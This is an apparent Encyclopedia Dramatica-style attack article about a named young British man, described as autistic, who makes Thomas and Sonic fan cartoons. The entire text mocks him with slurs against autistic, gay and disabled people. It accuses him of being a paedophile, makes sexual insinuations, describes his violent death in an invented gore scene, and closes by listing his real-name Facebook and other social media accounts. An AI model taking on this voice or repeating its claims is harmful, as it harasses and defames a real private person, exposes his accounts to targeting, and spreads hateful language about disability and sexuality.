'''Joseph "Husker The Wolf" Morley''' (a.k.a. '''Joeyinsully''' and '''Mr. Cool Blue''') is an [[autistic]] {{Age|1999|10|11}}-year-old [[British]] [[furfag]] who, much like [[Chris-Chan|every]] [[Spax3|other]] [[Blazesonic|autist]] [[Chasethehedgehog|on the]] [[Ulrichthehedgehog|entire]] [[Sonmanic|fucking]] [[DBoyWheeler|planet]], has an unhealthy [[sexual]] [[obsession]] with ''[[Sonic the Hedgehog]]'', ''[[Thomas the Tank Engine]]'', balloons and [[pregnancy]].

Joey's biggest accomplishment was spending three years of his [[life]] making a 23 minute [[Cartoon|animated film]] entitled '''Thomas and the Preggy Club''', which features an [[MS Paint]] rendition of Thomas the Tank Engine meeting [[mpreg]] Sonic, [[preggo]] Sally Acorn and some official art of Amy Rose that he [[stole]] directly from ''Sonic X'' because the project would have taken [[At least 100 years|another three fucking years]] if he had to draw her pink ass in MS Paint too.

== The First Steps ==
he asked in [[Engrish|broken English]] boldy replied Against dad's wishes and uploaded his poorly made cartoons, starring his totally [[original character]] Boris the Tank Engine.

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== Thomas Cartoon Series ==
When he learned to draw and animate by doing nothing and migrated from his parents' channel to his own he thought to himself why not make a fan cartoon with the plot centered around [[wat|Thomas trying to sabotage Amy Rose's preggy club]]. In 2018, after waving his ink-covered dong on digital animation cels for three years straight and [[Theft|borrowing]] character templates from [[Kphoria]], the first episode of TCE was released to the public. It was so bad it reached the [[Andrew Dobson]] levels of [[fail]] that only [[retards]] can enjoy his excuse for a train wreck. In response to (rightfully) receiving a lot of hate he pissed his dad's underwear and deleted the video, [[and nothing of value was lost]].

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{{quote|Well I'm gonna put a stop to this Preggy Club, Thomas!|Percy}}

But that's not all, rumor has it he's working all day and night on 10 or so seasons, a [[James Bond|Thomas the 007 agent]] episode, a 5-hour long crossover episode with characters from [[Furfag|volkenfox's]] [[visual novel]] game ''The Pirate's Fate'' and a 9-hour special serving as a metaphor for him turning into a [[gay]] porn star which is going to take [[at least 100]] years to finish.

== Joey the Splendid Artist ==
[[Image:MrCoolBlue Jade taking a dump.png|thumb|300px|One of Joey's masterpieces.]]

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File:MrCoolBlue Thomas and Mario on bed (Hungover meme).png|His most famous piece to date. Apparently this [[Sick fuck|wasn't satire.]]
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File:MrCoolBlue Thomas crew anime designs.png|Hopefully, the [[Wapanese]] fans might like his [[animu]] spin-off with panty scenes and fanservice.
File:MrCoolBlue Sandy Cheeks kissing Joey.png|A cute couple, not creepy at all!
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File:MrCoolBlue vomiting in Burger King.jpg|[[PROTIP]]: never order a chicken burger in [[Burger King]].
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==The Balloon Party==
is by shoving an air pump with a balloon attached to it up his rear and inflate it to the point the balloon bursts from the inside, spilling [[gore|blood and guts]] all over the room in front of his [[imaginary girlfriend|imaginary girlfriends]].

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== Joining ED ==

{{quote|Joining this website to ruin the reputation of the faggots who stalked me.|Joey, thinking we'd actually help him.}}
Somehow, he thought to himself "ED (of all places) can save me from the haters!", so he joined ED, and later the discord server. He asks if pedos are allowed, and once we said no, he responded with "''I was under the impression this was to help me [[Asperger's Syndrome|fight my haters]], not give me MORE haters. I wanted to run them into the ground.''" He was b& immediately from the server for being a dumbass [[pedo]]. After a few days he decided to start blanking this very article just like every aspie who has an article on here, however he failed to realize that [[ED:VIP|Vandalism is Pointless]], and got b& from the wiki shortly after. The rest is history.

== Gallery ==
{{notice|''[[You]] can view the FULL archive of aspergers [https://drive.google.com/drive/folders/1QU7C-Me7aHWm-1U1LO3ym1hRCyHAOY_I here] and [https://drive.google.com/drive/folders/1-N_NirJmvZcQBK2613S177aclCtudpmV here].''}}
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==Videos==

===Videos Made by Joey===
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|<youtube>v=0q3bOnGO0uQ</youtube><center>'''Unfinished videos compilation'''</center>
|<youtube>v=JowKId4ZvKA</youtube><center>'''[[I'm so random|Random faces = FUNNY!!!!1!!ONE!!!]]'''</center>
|<youtube>v=haatPTlgLhs</youtube><center>'''How he takes constructive criticism'''</center>
|<youtube>v=EHl_G_2NjdE</youtube><center>'''[[Family Guy]] theme song cover'''</center>
|[[File:MrCoolBlue SMG4 3M collab entry.mp4]]<center>'''His SMG4 3M collab entry'''</center>
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===Videos on Joey===
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|<youtube>v=W1QHuero5qA</youtube><center>'''Buzz Trombone's confrontaion'''</center>
|<youtube>v=RWpb4GYYGZI</youtube><center>'''Tards on Deck'''</center>
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== See Also ==

* [[Kashi-Kukku]] - shitty attack article he wrote about some nobody
* [[Colby James]] - also makes shitty fanfiction
* [[Chris-Chan]] - the person he likes to compare people too, all the while being the closest to him than anyone else

==External Links==
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*{{yt|cu|@tojoluna|tojoluna}}
*{{facebook|joseph.morley.9803}}
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*<s>{{deviantart|Blimpy-Blue}}</s> '''DEACTIVATED'''
*{{furaffinity|joeyinsully}}
*<s>{{twitter|TTTE_Cartoonist}}</s> '''BALEETED'''

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